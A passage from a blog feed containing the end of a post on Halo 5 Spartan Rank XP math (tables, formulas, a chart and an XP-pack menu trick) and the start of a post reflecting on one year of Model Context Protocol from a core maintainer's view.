					<td>10</td>
					<td>1,888,552</td>
			</tr>
			<tr>
					<td>76</td>
					<td>1,885,000</td>
					<td>2.142</td>
					<td>10</td>
					<td>1,931,392</td>
			</tr>
			<tr>
					<td>77</td>
					<td>1,930,000</td>
					<td>2.145</td>
					<td>11</td>
					<td>1,978,582</td>
			</tr>
			<tr>
					<td>78</td>
					<td>1,975,000</td>
					<td>2.148</td>
					<td>11</td>
					<td>2,025,838</td>
			</tr>
			<tr>
					<td>79</td>
					<td>2,025,000</td>
					<td>2.151</td>
					<td>13</td>
					<td>2,081,764</td>
			</tr>
			<tr>
					<td>80</td>
					<td>2,080,000</td>
					<td>2.154</td>
					<td>14</td>
					<td>2,142,076</td>
			</tr>
			<tr>
					<td>81</td>
					<td>2,140,000</td>
					<td>2.157</td>
					<td>15</td>
					<td>2,206,786</td>
			</tr>
			<tr>
					<td>82</td>
					<td>2,205,000</td>
					<td>2.16</td>
					<td>16</td>
					<td>2,275,906</td>
			</tr>
			<tr>
					<td>83</td>
					<td>2,275,000</td>
					<td>2.163</td>
					<td>19</td>
					<td>2,358,100</td>
			</tr>
			<tr>
					<td>84</td>
					<td>2,355,000</td>
					<td>2.166</td>
					<td>19</td>
					<td>2,440,408</td>
			</tr>
			<tr>
					<td>85</td>
					<td>2,440,000</td>
					<td>2.169</td>
					<td>6</td>
					<td>2,466,436</td>
			</tr>
			<tr>
					<td>86</td>
					<td>2,465,000</td>
					<td>2.172</td>
					<td>6</td>
					<td>2,492,500</td>
			</tr>
			<tr>
					<td>87</td>
					<td>2,490,000</td>
					<td>2.174</td>
					<td>7</td>
					<td>2,522,936</td>
			</tr>
			<tr>
					<td>88</td>
					<td>2,520,000</td>
					<td>2.176</td>
					<td>8</td>
					<td>2,557,752</td>
			</tr>
			<tr>
					<td>89</td>
					<td>2,555,000</td>
					<td>2.178</td>
					<td>9</td>
					<td>2,596,956</td>
			</tr>
			<tr>
					<td>90</td>
					<td>2,595,000</td>
					<td>2.18</td>
					<td>10</td>
					<td>2,640,556</td>
			</tr>
			<tr>
					<td>91</td>
					<td>2,640,000</td>
					<td>2.182</td>
					<td>12</td>
					<td>2,692,924</td>
			</tr>
			<tr>
					<td>92</td>
					<td>2,690,000</td>
					<td>2.184</td>
					<td>12</td>
					<td>2,745,340</td>
			</tr>
			<tr>
					<td>93</td>
					<td>2,745,000</td>
					<td>2.186</td>
					<td>14</td>
					<td>2,806,548</td>
			</tr>
			<tr>
					<td>94</td>
					<td>2,805,000</td>
					<td>2.188</td>
					<td>15</td>
					<td>2,872,188</td>
			</tr>
			<tr>
					<td>95</td>
					<td>2,870,000</td>
					<td>2.19</td>
					<td>16</td>
					<td>2,942,268</td>
			</tr>
			<tr>
					<td>96</td>
					<td>2,940,000</td>
					<td>2.192</td>
					<td>17</td>
					<td>3,016,796</td>
			</tr>
			<tr>
					<td>97</td>
					<td>3,015,000</td>
					<td>2.194</td>
					<td>18</td>
					<td>3,095,780</td>
			</tr>
			<tr>
					<td>98</td>
					<td>3,095,000</td>
					<td>2.196</td>
					<td>20</td>
					<td>3,183,620</td>
			</tr>
			<tr>
					<td>99</td>
					<td>3,180,000</td>
					<td>2.198</td>
					<td>20</td>
					<td>3,271,540</td>
			</tr>
			<tr>
					<td>100</td>
					<td>3,270,000</td>
					<td>2.2</td>
					<td>7</td>
					<td>3,302,340</td>
			</tr>
			<tr>
					<td>101</td>
					<td>3,300,000</td>
					<td>2.201</td>
					<td>8</td>
					<td>3,337,556</td>
			</tr>
			<tr>
					<td>102</td>
					<td>3,335,000</td>
					<td>2.202</td>
					<td>9</td>
					<td>3,377,192</td>
			</tr>
			<tr>
					<td>103</td>
					<td>3,375,000</td>
					<td>2.203</td>
					<td>10</td>
					<td>3,421,252</td>
			</tr>
			<tr>
					<td>104</td>
					<td>3,420,000</td>
					<td>2.203</td>
					<td>12</td>
					<td>3,474,124</td>
			</tr>
			<tr>
					<td>105</td>
					<td>3,470,000</td>
					<td>2.205</td>
					<td>13</td>
					<td>3,531,454</td>
			</tr>
			<tr>
					<td>106</td>
					<td>3,530,000</td>
					<td>2.206</td>
					<td>15</td>
					<td>3,597,634</td>
			</tr>
			<tr>
					<td>107</td>
					<td>3,595,000</td>
					<td>2.207</td>
					<td>16</td>
					<td>3,668,258</td>
			</tr>
			<tr>
					<td>108</td>
					<td>3,665,000</td>
					<td>2.208</td>
					<td>17</td>
					<td>3,743,330</td>
			</tr>
			<tr>
					<td>109</td>
					<td>3,740,000</td>
					<td>2.209</td>
					<td>18</td>
					<td>3,822,854</td>
			</tr>
			<tr>
					<td>110</td>
					<td>3,820,000</td>
					<td>2.21</td>
					<td>19</td>
					<td>3,906,834</td>
			</tr>
			<tr>
					<td>111</td>
					<td>3,905,000</td>
					<td>2.211</td>
					<td>20</td>
					<td>3,995,274</td>
			</tr>
			<tr>
					<td>112</td>
					<td>3,995,000</td>
					<td>2.212</td>
					<td>22</td>
					<td>4,092,602</td>
			</tr>
			<tr>
					<td>113</td>
					<td>4,090,000</td>
					<td>2.213</td>
					<td>25</td>
					<td>4,203,252</td>
			</tr>
			<tr>
					<td>114</td>
					<td>4,200,000</td>
					<td>2.214</td>
					<td>27</td>
					<td>4,322,808</td>
			</tr>
			<tr>
					<td>115</td>
					<td>4,320,000</td>
					<td>2.215</td>
					<td>8</td>
					<td>4,358,248</td>
			</tr>
			<tr>
					<td>116</td>
					<td>4,355,000</td>
					<td>2.216</td>
					<td>9</td>
					<td>4,398,136</td>
			</tr>
			<tr>
					<td>117</td>
					<td>4,395,000</td>
					<td>2.217</td>
					<td>10</td>
					<td>4,442,476</td>
			</tr>
			<tr>
					<td>118</td>
					<td>4,440,000</td>
					<td>2.218</td>
					<td>12</td>
					<td>4,495,708</td>
			</tr>
			<tr>
					<td>119</td>
					<td>4,495,000</td>
					<td>2.219</td>
					<td>14</td>
					<td>4,557,840</td>
			</tr>
			<tr>
					<td>120</td>
					<td>4,555,000</td>
					<td>2.22</td>
					<td>14</td>
					<td>4,620,000</td>
			</tr>
			<tr>
					<td>121</td>
					<td>4,620,000</td>
					<td>2.221</td>
					<td>16</td>
					<td>4,691,072</td>
			</tr>
			<tr>
					<td>122</td>
					<td>4,690,000</td>
					<td>2.222</td>
					<td>17</td>
					<td>4,766,620</td>
			</tr>
			<tr>
					<td>123</td>
					<td>4,765,000</td>
					<td>2.223</td>
					<td>18</td>
					<td>4,846,648</td>
			</tr>
			<tr>
					<td>124</td>
					<td>4,845,000</td>
					<td>2.224</td>
					<td>20</td>
					<td>4,935,608</td>
			</tr>
			<tr>
					<td>125</td>
					<td>4,935,000</td>
					<td>2.225</td>
					<td>21</td>
					<td>5,029,058</td>
			</tr>
			<tr>
					<td>126</td>
					<td>5,025,000</td>
					<td>2.226</td>
					<td>21</td>
					<td>5,122,550</td>
			</tr>
			<tr>
					<td>127</td>
					<td>5,120,000</td>
					<td>2.227</td>
					<td>22</td>
					<td>5,220,538</td>
			</tr>
			<tr>
					<td>128</td>
					<td>5,220,000</td>
					<td>2.228</td>
					<td>25</td>
					<td>5,331,938</td>
			</tr>
			<tr>
					<td>129</td>
					<td>5,330,000</td>
					<td>2.229</td>
					<td>33</td>
					<td>5,479,052</td>
			</tr>
			<tr>
					<td>130</td>
					<td>5,475,000</td>
					<td>2.23</td>
					<td>10</td>
					<td>5,523,652</td>
			</tr>
			<tr>
					<td>131</td>
					<td>5,520,000</td>
					<td>2.231</td>
					<td>12</td>
					<td>5,577,196</td>
			</tr>
			<tr>
					<td>132</td>
					<td>5,575,000</td>
					<td>2.232</td>
					<td>15</td>
					<td>5,644,156</td>
			</tr>
			<tr>
					<td>133</td>
					<td>5,640,000</td>
					<td>2.233</td>
					<td>15</td>
					<td>5,711,146</td>
			</tr>
			<tr>
					<td>134</td>
					<td>5,710,000</td>
					<td>2.234</td>
					<td>18</td>
					<td>5,791,570</td>
			</tr>
			<tr>
					<td>135</td>
					<td>5,790,000</td>
					<td>2.235</td>
					<td>20</td>
					<td>5,880,970</td>
			</tr>
			<tr>
					<td>136</td>
					<td>5,880,000</td>
					<td>2.236</td>
					<td>23</td>
					<td>5,983,826</td>
			</tr>
			<tr>
					<td>137</td>
					<td>5,980,000</td>
					<td>2.237</td>
					<td>23</td>
					<td>6,086,728</td>
			</tr>
			<tr>
					<td>138</td>
					<td>6,085,000</td>
					<td>2.238</td>
					<td>26</td>
					<td>6,203,104</td>
			</tr>
			<tr>
					<td>139</td>
					<td>6,200,000</td>
					<td>2.239</td>
					<td>28</td>
					<td>6,328,488</td>
			</tr>
			<tr>
					<td>140</td>
					<td>6,325,000</td>
					<td>2.24</td>
					<td>30</td>
					<td>6,462,888</td>
			</tr>
			<tr>
					<td>141</td>
					<td>6,460,000</td>
					<td>2.241</td>
					<td>34</td>
					<td>6,615,276</td>
			</tr>
			<tr>
					<td>142</td>
					<td>6,615,000</td>
					<td>2.242</td>
					<td>42</td>
					<td>6,803,604</td>
			</tr>
			<tr>
					<td>143</td>
					<td>6,800,000</td>
					<td>2.243</td>
					<td>55</td>
					<td>7,050,334</td>
			</tr>
			<tr>
					<td>144</td>
					<td>7,050,000</td>
					<td>2.244</td>
					<td>156</td>
					<td>7,750,462</td>
			</tr>
			<tr>
					<td>145</td>
					<td>7,750,000</td>
					<td>2.245</td>
					<td>279</td>
					<td>9,003,172</td>
			</tr>
			<tr>
					<td>146</td>
					<td>9,000,000</td>
					<td>2.246</td>
					<td>456</td>
					<td>11,051,524</td>
			</tr>
			<tr>
					<td>147</td>
					<td>11,050,000</td>
					<td>2.247</td>
					<td>657</td>
					<td>14,004,082</td>
			</tr>
			<tr>
					<td>148</td>
					<td>14,000,000</td>
					<td>2.248</td>
					<td>889</td>
					<td>18,001,026</td>
			</tr>
			<tr>
					<td>149</td>
					<td>18,000,000</td>
					<td>2.249</td>
					<td>1334</td>
					<td>24,001,358</td>
			</tr>
			<tr>
					<td>150</td>
					<td>24,000,000</td>
					<td>2.25</td>
					<td>2445</td>
					<td>35,003,858</td>
			</tr>
			<tr>
					<td>151</td>
					<td>35,000,000</td>
					<td>2.251</td>
					<td>3331</td>
					<td>50,000,020</td>
			</tr>
			<tr>
					<td>152</td>
					<td>50,000,000</td>
					<td>2.252</td>
					<td>0</td>
					<td>50,000,020</td>
			</tr>
	</tbody>
</table>
<p>Similar to the earlier exploration, the formula for matches needed at rank with the XP scalar is pretty much the same, with the exception of the scalar being multiplied by the base experience earned per match:</p>
<p>

$$M_r = \left\lceil \frac{XP_{r+1} - XP_{current}}{XP_{match} \times S_r} \right\rceil$$</p>
<p>Where:</p>
<p>

$$M_r = \text{Matches needed at rank } r$$</p>
<p>

$$XP_{r+1} = \text{Start XP of the next rank}$$</p>
<p>

$$XP_{current} = \text{Current XP when entering rank } r$$</p>
<p>

$$XP_{match} = \text{Base XP earned per match (2,000)}$$</p>
<p>

$$S_r = \text{XP Scalar at rank } r$$</p>
<p>

$$\lceil \rceil = \text{Ceiling function (round up)}$$</p>
<p>So, back to our very simple <code>SR10</code> example, the filled out formula to find <em>matches needed at level</em> would look like this:</p>
<p>

$$M_{10} = \left\lceil \frac{XP_{11} - XP_{current}}{XP_{match} \times S_{10}} \right\rceil$$</p>
<p>

$$= \left\lceil \frac{41{,}000 - 39{,}200}{2{,}000 \times 1.35} \right\rceil$$</p>
<p>

$$= \left\lceil \frac{1{,}800}{2{,}700} \right\rceil$$</p>
<p>

$$= \left\lceil 0. 67 \right\rceil$$</p>
<p>

$$= 1$$</p>
<p>We would need <strong>1 match</strong> given our past earned experience to hop from <code>SR10</code> to <code>SR11</code>.</p>
<p>Total experience earned per rank is now computed as:</p>
<p>

$$XP_{earned}(r) = \sum_{i=1}^{r} M_i \times XP_{match} \times S_i$$</p>
<p>And again, using our <code>SR10</code> baseline, the calculation will look like this:</p>
<p>

$$XP_{earned}(10) = \sum_{i=1}^{10} M_i \times XP_{match} \times S_i$$</p>
<p>

$$= \underbrace{(1 \times 2{,}000 \times 1.0)}_{SR1}$$</p>
<p>

$$+ \underbrace{(1 \times 2{,}000 \times 1. 0)}_{SR2}$$</p>
<p>

$$+ \underbrace{(2 \times 2{,}000 \times 1.0)}_{SR3}$$</p>
<p>

$$+ \underbrace{(2 \times 2{,}000 \times 1.05)}_{SR4}$$</p>
<p>

$$+ \underbrace{(1 \times 2{,}000 \times 1. 1)}_{SR5}$$</p>
<p>

$$+ \underbrace{(2 \times 2{,}000 \times 1.15)}_{SR6}$$</p>
<p>

$$+ \underbrace{(2 \times 2{,}000 \times 1.2)}_{SR7}$$</p>
<p>

$$+ \underbrace{(2 \times 2{,}000 \times 1.25)}_{SR8}$$</p>
<p>

$$+ \underbrace{(4 \times 2{,}000 \times 1.3)}_{SR9}$$</p>
<p>

$$+ \underbrace{(1 \times 2{,}000 \times 1. 35)}_{SR10}$$</p>
<p>

$$= 2{,}000 + 2{,}000 + 4{,}000 + 4{,}200$$</p>
<p>

$$+ 2{,}200 + 4{,}600 + 4{,}800 + 5{,}000$$</p>
<p>

$$+ 10{,}400 + 2{,}700$$</p>
<p>

$$= 41{,}900$$</p>
<div class="flex flex-row items-center px-4 py-2 mb-8 text-base rounded-md bg-primary-100 dark:bg-primary-900">
    <div style="width: 25%;">
      <img src="https://assets.den.dev/images/shared/lens.gif" alt="Mole looking through a lens." />
    </div>
    <div style="padding: 8px; max-width: 75%;">
      <p>Wait&hellip; Hold on a second. When we computed the same data <em>without</em> the scalar, we got 42,000 XP for <code>SR10</code>. How come are we getting 41,900 XP when we have a scalar in place? Should we not be getting <em>more</em> experience points at the same Spartan Rank?</p>
    </div>
  </div>  
<p>Great observation! The reason why we have a <em>slight</em> difference here is because the scalar makes the experience earned a bit uneven. However, with the scalar in place we will play <em>fewer matches</em> to get to the same Spartan Rank.</p>
<p>To get to <code>SR11</code> from <code>SR10</code>, without a scalar you&rsquo;d need to play 21 matches. With a scalar? 18. You just shaved three matches off of your TODO list.</p>
<p>And speaking of total matches, we can compute them as such:</p>
<p>

$$M_{total} = \sum_{r=1}^{151} M_r = \sum_{r=1}^{151} \left\lceil \frac{XP_{r+1} - XP_{current}}{XP_{match} \times S_r} \right\rceil$$</p>
<p>Or, if filled out with real data:</p>
<p>

$$M_{total} = M_1 + M_2 + M_3 + \cdots + M_{151}$$</p>
<p>

$$= \left\lceil \frac{XP_2 - 0}{2{,}000 \times 1. 0} \right\rceil + \left\lceil \frac{XP_3 - XP_{current}}{2{,}000 \times 1.0} \right\rceil + \cdots + \left\lceil \frac{XP_{152} - XP_{current}}{2{,}000 \times S_{151}} \right\rceil$$</p>
<p>Just for posterity, here is what the match volume per rank looks like in a bar graph - the overall <em>shape</em> of the graph is the same, but we&rsquo;re now talking about a completely different upper bound:</p>
<div class="chart">
  
  <canvas id="694178253"></canvas>
  <script type="text/javascript">
    window.addEventListener("DOMContentLoaded", (event) => {
      const ctx = document.getElementById("694178253");
      const chart = new Chart(ctx, {
        
type: 'bar',
data: {
  labels: [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152],
  datasets: [{
    label: 'Matches at Rank',
    data: [1,1,2,2,1,2,2,2,4,1,2,3,3,4,4,4,5,6,7,2,3,3,4,4,5,6,7,7,8,3,3,4,5,5,6,7,7,8,10,3,4,4,6,6,7,8,8,10,10,11,12,13,14,16,4,5,5,6,7,8,9,9,11,12,12,13,14,15,18,4,4,6,7,8,10,10,11,11,13,14,15,16,19,19,6,6,7,8,9,10,12,12,14,15,16,17,18,20,20,7,8,9,10,12,13,15,16,17,18,19,20,22,25,27,8,9,10,12,14,14,16,17,18,20,21,21,22,25,33,10,12,15,15,18,20,23,23,26,28,30,34,42,55,156,279,456,657,889,1334,2445,3331,0],
  }]
},
options: {
    responsive: true,
    aspectRatio: 0.75,
    plugins: {
      legend: {
        position: 'top',
      },
      title: {
        display: true,
        text: 'Matches Required at Each Rank (With XP Scalar)'
      }
    },
    scales: {
        x: {
          title: {
            display: true,
            text: 'Spartan Rank'
          }
        },
        y: {
          title: {
            display: true,
            text: 'Matches Required'
          }
        }
    }
}

      });
    });
  </script>
</div>

<p>Suddenly, the total number of matches is reduced to <strong>11,196</strong> - we more than halved the required number of games to reach <code>SR152</code>. That&rsquo;ll &ldquo;only&rdquo; take 933 hours, or 38 days of non-stop play with the assumption of a match that is five minutes long (most of them are not).</p>
<h2 id="maximize-the-xp-gain" class="relative group">Maximize the XP gain <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#maximize-the-xp-gain" aria-label="Anchor">#</a></span></h2>
<p>So, we now know that the XP Scalar actually matters. Are there other things that you can do to maximize your XP gain on the way to <code>SR152</code> before Halo 5 goes the way of Halo 3 servers?</p>
<p>The trick to use Warzone XP/RP packs in Arena is still alive and well!</p>
<video width="100%" controls>
  <source src="https://assets.den.dev/images/postmedia/halo-5-spartan-rank-manifest/h5-trick.mp4" type="video/mp4">
Your browser does not support the video tag.
</video>
<p>Once you go to Warzone, press the <kbd>A</kbd> and <kbd>B</kbd> buttons on your Xbox controller together really quickly, and if you time it right, you will get the screen to leave matchmaking, as well as the REQ Pack selection screen underneath it that will remain available after you leave the Warzone matchmaking.</p>
<p>Select a Warzone-specific REQ Pack and proceed to select any other Arena game mode to get more XP for less time.</p>
]]></content:encoded></item><item><title>One Year Of Model Context Protocol Through A Core Maintainer Lens</title><link>https://den.dev/blog/one-year-of-mcp/</link><pubDate>Tue, 25 Nov 2025 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/one-year-of-mcp/</guid><description>Model Context Protocol is a year old today. Along with its birthday, we&rsquo;re also celebrating the release of the 2025-11-25 spec version.</description><content:encoded><![CDATA[<p>Hard to imagine that <em>just a year ago</em> we had so much work being thrown into Large Language Models (LLMs) but not a single protocol that would enable them to do things like <em>tool calling</em>. Well, there were efforts to do that, but it was not by any stretch a <em>universal</em> effort. That is, until Anthropic <a
  href="https://www.anthropic.com/news/model-context-protocol"
  
  target="_blank" rel="noreferrer noopener"
>announced Model Context Protocol</a>.</p>
<p>And today, we, the collective maintainer group working on MCP, announced the release of the <a
  href="https://modelcontextprotocol.io/specification/2025-11-25"
  
  target="_blank" rel="noreferrer noopener"
><code>2025-11-25</code></a> version of the specification - smack on the date of the protocol&rsquo;s first anniversary. What a way to celebrate the birthday of the protocol.</p>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="A live view into the MCP community launching the latest MCP specification version."
    
    
    
      src="https://assets.den.dev/images/postmedia/one-year-of-mcp/jet-take-off.gif"
    
  />
  
  <figcaption class="text-center">A live view into the MCP community launching the latest MCP specification version.</figcaption>
</figure>
<h2 id="the-beginnings" class="relative group">The beginnings <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#the-beginnings" aria-label="Anchor">#</a></span></h2>
<p>From the start, MCP struck me as the kind of project that was both sorely needed and required some community-oriented evolution. That&rsquo;s actually why I got involved in the first place, starting with that fateful pull request from April of this year - <a
  href="https://github.com/modelcontextprotocol/modelcontextprotocol/pull/284"
  
  target="_blank" rel="noreferrer noopener"
>#284</a>. The beauty of open-source, right? Anyone can get involved at any time.</p>
<p>The idea behind my proposed change was to introduce some common OAuth conventions into the protocol to help developers avoid reinventing the wheel and having to build their own authorization servers (AS). Naively, I strung together <em>many</em> different ideas, piggybacking on <a
  href="https://den.dev/blog/identity-developer-experience/"
  
  target="_blank" rel="noreferrer noopener"
>my work in Microsoft&rsquo;s Security division</a>.</p>
<p>After a lot (and I mean, <em>a lot</em>) of deliberation and work with industry security and auth experts, the <a
  href="https://den.dev/blog/new-mcp-authorization-spec/"
  
  target="_blank" rel="noreferrer noopener"
>spec changes landed</a>. That was the <em>first time</em> I&rsquo;ve ever contributed to a standard at the bleeding edge of AI work, and that&rsquo;s also when I was hooked on this kind of collaboration. There was <em>so much</em> work ahead, but the momentum behind MCP was undeniable - everyone was picking it up, from the scrappiest startups to giants like Microsoft and GitHub.</p>
<p>That April is what cemented the idea for me that <em>I wanted to contribute more</em>. As luck would have it, my work on the authorization spec was the gateway to me becoming one of the <a
  href="https://modelcontextprotocol.io/community/governance#current-core-maintainers"
  
  target="_blank" rel="noreferrer noopener"
>Core Maintainers</a>, something I did not plan for. <a
  href="https://xcancel.com/dsp_"
  
  target="_blank" rel="noreferrer noopener"
>David Soria Parra</a>, the co-creator of MCP, ended up taking a bet on me and putting a lot of trust in my ability to help corral the protocol alongside a wonderful crew of folks <em>much</em> smarter than me. What better way there is to learn the ropes of helping steer a massive ship than actually, well, help steer a massive ship. I am <em>incredibly</em> thankful for this opportunity because it was nothing short of formative.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/one-year-of-mcp/mcp-universe.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Just a group of people who really care about MCP."
    
    
    
      src="https://assets.den.dev/images/postmedia/one-year-of-mcp/mcp-universe.webp"
    
  />
  </a>
  <figcaption class="text-center">Just a group of people who really care about MCP.</figcaption>
</figure>
<p>This opportunity also opened the door for me to connect with many more folks in the AI and security spaces - something that I don&rsquo;t think would&rsquo;ve happened at the scale it did in an organic way (or at the same speed, at least). However, because we&rsquo;re all helping build the same protocol, this became a natural byproduct of our community interactions.</p>
<h2 id="are-we-there-yet" class="relative group">Are we there yet? <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#are-we-there-yet" aria-label="Anchor">#</a></span></h2>
<p>A lot of things have changed (clearly, my appearance included) since the protocol was first introduced. There is now a better story for <a
  href="https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices"
  
  target="_blank" rel="noreferrer noopener"
>security</a> and <a
  href="https://modelcontextprotocol.io/specification/draft/basic/authorization"
  
  target="_blank" rel="noreferrer noopener"
>auth</a>, there are affordances for requesting user input through <a
  href="https://modelcontextprotocol.io/specification/draft/client/elicitation"
  
  target="_blank" rel="noreferrer noopener"
>elicitations</a>, <a
  href="https://modelcontextprotocol.io/specification/draft/client/elicitation"
  
  target="_blank" rel="noreferrer noopener"
>extensions</a> are now available to make the protocol better suited for custom scenarios, the <a
  href="https://modelcontextprotocol.io/community/governance"
  
  target="_blank" rel="noreferrer noopener"
>governance</a> is formalized, there is a <a
  href="https://modelcontextprotocol.io/community/communication"
  
  target="_blank" rel="noreferrer noopener"
>consolidated contribution channel</a>, and so much more.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/one-year-of-mcp/mcp-universe-up.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Another shot of the same group of people that care deeply about MCP. Recognize any familiar faces?"
    
    
    
      src="https://assets.den.dev/images/postmedia/one-year-of-mcp/mcp-universe-up.webp"
    
  />
  </a>
  <figcaption class="text-center">Another shot of the same group of people that care deeply about MCP. Recognize any familiar faces?</figcaption>
</figure>
<p>Oh, and since launch, we now have <a
  href="https://github.com/modelcontextprotocol/registry"
  
  target="_blank" rel="noreferrer noopener"
>a proper registry</a>, which allows anyone to quickly discover MCP servers in the ecosystem. We now have more than <strong>2,000 indexed MCP servers</strong>. That&rsquo;s an impressive number, especially considering that in September of this year we started with just a bit over 300 indexed servers (you can take a peek at the <a
  href="https://github.com/dend/mcp-registry-growth/blob/main/data/analytics.csv"
  
  target="_blank" rel="noreferrer noopener"
>raw data</a> or <a
  href="https://mcpgrowth.den.dev/"
  
  target="_blank" rel="noreferrer noopener"
>its rendered version</a>).</p>
<p>Take a look at today&rsquo;s snapshot:</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/one-year-of-mcp/servers.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Volume of MCP servers onboarded to the MCP registry."
    
    
    
      src="https://assets.den.dev/images/postmedia/one-year-of-mcp/servers.webp"
    
  />
  </a>
  <figcaption class="text-center">Volume of MCP servers onboarded to the MCP registry.</figcaption>
</figure>
<div class="flex flex-row items-center px-4 py-2 mb-8 text-base rounded-md bg-primary-100 dark:bg-primary-900">
    <div style="width: 25%;">
      <img src="https://assets.den.dev/images/shared/stop.gif" alt="Mole holding a stop sign." />
    </div>
    <div style="padding: 8px; max-width: 75%;">
      <p>Hold on, so does that mean that in the past year only 2,000 MCP servers were created?</p>
    </div>
  </div>  
<p>Not at all - there are way more servers across the web, these are just the servers that are indexed in the registry. If you browse GitHub or just search for them through your favorite search engine, you&rsquo;ll find plenty out there that aren&rsquo;t indexed <em>yet</em>. There are also enterprises that are building tens, if not hundreds, of MCP servers that are entirely for internal consumption, so we will never see them in any public registries.</p>
<p>I alluded to &ldquo;<em>folks much smarter than me</em>&rdquo; above, and I say that without any exaggeration - it&rsquo;s been such a pleasure working alongside my fellow <a
  href="https://modelcontextprotocol.io/community/governance#current-core-maintainers"
  
  target="_blank" rel="noreferrer noopener"
>Core Maintainers</a>, <a
  href="https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/MAINTAINERS.md"
  
  target="_blank" rel="noreferrer noopener"
>Maintainers</a>, and the entire MCP community. Not just working, though - I also <em>learned</em> from them, as cliche as that sounds. Listing them individually here would take ten pages or more, so I will just direct you to our <a
  href="https://modelcontextprotocol.io/docs/getting-started/intro"
  
  target="_blank" rel="noreferrer noopener"
>documentation</a> and <a
  href="https://modelcontextprotocol.io/community/communication#discord"
  
  target="_blank" rel="noreferrer noopener"
>Discord</a> to see just how many people are really involved in shaping the protocol.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/one-year-of-mcp/mcp-future.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="If you&#39;re in the AI space, MCP is the future."
    
    
    
      src="https://assets.den.dev/images/postmedia/one-year-of-mcp/mcp-future.webp"
    
  />
  </a>
  <figcaption class="text-center">If you&rsquo;re in the AI space, MCP is the future.</figcaption>
</figure>
<p>All this is to say - the protocol has grown and evolved quite a bit in the past twelve months, but we&rsquo;re nowhere near done. You can <a
  href="https://modelcontextprotocol.io/development/roadmap"
  
  target="_blank" rel="noreferrer noopener"
>check out the roadmap</a> to see what the community and maintainers are investing in next.</p>
<h2 id="things-learned-along-the-way" class="relative group">Things learned along the way <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#things-learned-along-the-way" aria-label="Anchor">#</a></span></h2>
<p>I also wanted to summarize a few things that stood out to me from the past year, even if I wasn&rsquo;t involved in shaping the protocol for the <em>whole</em> year.</p>
<ul>
<li><strong>Operating at scale without governance is hard.</strong> Past a certain community engagement level, reviewing, tweaking, and accepting proposals will become <em>extremely complicated</em>, so the sooner you establish some governance principles, the better.</li>
<li><strong>You&rsquo;re not alone.</strong> Every Spec Enhancement Proposal (SEP) you see in the <a
  href="https://github.com/modelcontextprotocol/modelcontextprotocol"
  
  target="_blank" rel="noreferrer noopener"
>MCP specification repository</a> is a collaboration. You almost never lean on a &ldquo;lone genius&rdquo; to do things for you - not only will that approach not scale, but it will also result in missed opportunities to <em>actually improve</em> the project.</li>
<li><strong>Community health is key from the start.</strong> Nurturing a community of folks that are there to help each other is a monumental task that requires deliberate effort. I am <em>so glad</em> that we get to work with such awesome people like <a
  href="https://github.com/olaservo"
  
  target="_blank" rel="noreferrer noopener"
>Ola Hungerford</a>, <a
  href="https://github.com/tadasant"
  
  target="_blank" rel="noreferrer noopener"
>Tadas Antanavicius</a>, <a
  href="https://github.com/cliffhall"
  
  target="_blank" rel="noreferrer noopener"
>Cliff Hall</a>, <a
  href="https://github.com/jonathanhefner"
  
  target="_blank" rel="noreferrer noopener"
>Jonathan Hefner</a>, and <a
  href="https://github.com/evalstate"
  
  target="_blank" rel="noreferrer noopener"
>Shaun Smith</a> to help corral a lot of the community efforts.</li>
<li><strong>Don&rsquo;t put a process in place until you need a process.</strong> A mistake folks often make is to try and put a heavyweight process in place that manages all aspects of a project from the get go. While the intentions there can be noble, the risk is that you&rsquo;re going to alienate a bunch of folks that want to contribute but are intimidated by a thousand different steps. You can always evolve a lightweight set of rules.</li>
<li><strong>Build contributor relationships.</strong> Your most active contributors will help you beyond one change or bug fix. It&rsquo;s important to recognize those that consistently show up, and help them contribute more. Folks that helped us shape the authorization specification have been consistently coming up with great ideas, such as the <a
  href="https://modelcontextprotocol.io/specification/2025-11-25/client/elicitation#url-mode-elicitation-requests"
  
  target="_blank" rel="noreferrer noopener"
>URL-mode elicitations</a> and <a
  href="https://aaronparecki.com/2025/11/25/1/mcp-authorization-spec-update"
  
  target="_blank" rel="noreferrer noopener"
>CIMD</a> (<a
  href="https://aaronparecki.com/"
  
  target="_blank" rel="noreferrer noopener"
